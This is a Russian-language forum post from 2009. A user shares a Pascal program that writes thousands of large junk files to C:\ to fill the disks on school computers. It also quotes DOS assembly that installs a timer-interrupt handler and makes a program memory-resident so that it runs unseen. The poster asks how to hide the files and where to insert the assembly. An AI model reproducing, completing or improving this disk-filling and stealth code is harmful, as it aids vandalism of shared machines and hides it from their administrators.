Показать сообщение отдельно

  #2786  
Старый 08.02.2009, 22:29
Djezul
Познающий
Регистрация: 08.12.2008
Сообщений: 58
С нами: 9170134

Репутация: 10
По умолчанию

Цитата:
Сообщение от slesh  
Мысли сумасшедщего на эту тему:
Мысль первая: всю прожку замутить как резидент, чтобы даже после запуска из консоли небыло заметно что прожка висит.
Реализация первой мысли:
Ассемблерная вставка которая ставит обработчкий на таймер, а затем делает себя резидентной.
В обработчике таймера снять обработку и уже продолжить свою работу )
Резидентимся так:
Код:
mov ah,25h
mov al,1Ch
lea dx,MYFUNCTION
int 21h
lea dx,init ; 
int 27h
Интересно , я так и думал что что то с помощью ассемблера надо, а куда это вставлять?Вот есть прога
Код:
uses crt;
 var a:text;
 i1,i2,i3,n:integer;
begin
 for i1:=97 to 122 do
 begin
  for i2:=97 to 122 do
  begin
  for i3:=97 to 122 do
   begin
     assign(a,'c:\file'+chr(i1)+chr(i2)+chr(i3)+'.txt)
     rewrite(a);
     for n:=1 to 30000 do
     begin
       write(a,'----------------');
     end;
     close(a);
   end;
  end;
 end;
end.
Строго не судите, просто делать было нечего, а в школе места на дисках по 5-10 гиг , так что забьёт быстро. И такой вопрос , можно их сдалеть скрытыми файлы? И пожалуйста разесни куда вставлять код ассемблера 2 вариант интересный, но боюсь моих знаний для его реализации не хватит
 
Ответить с цитированием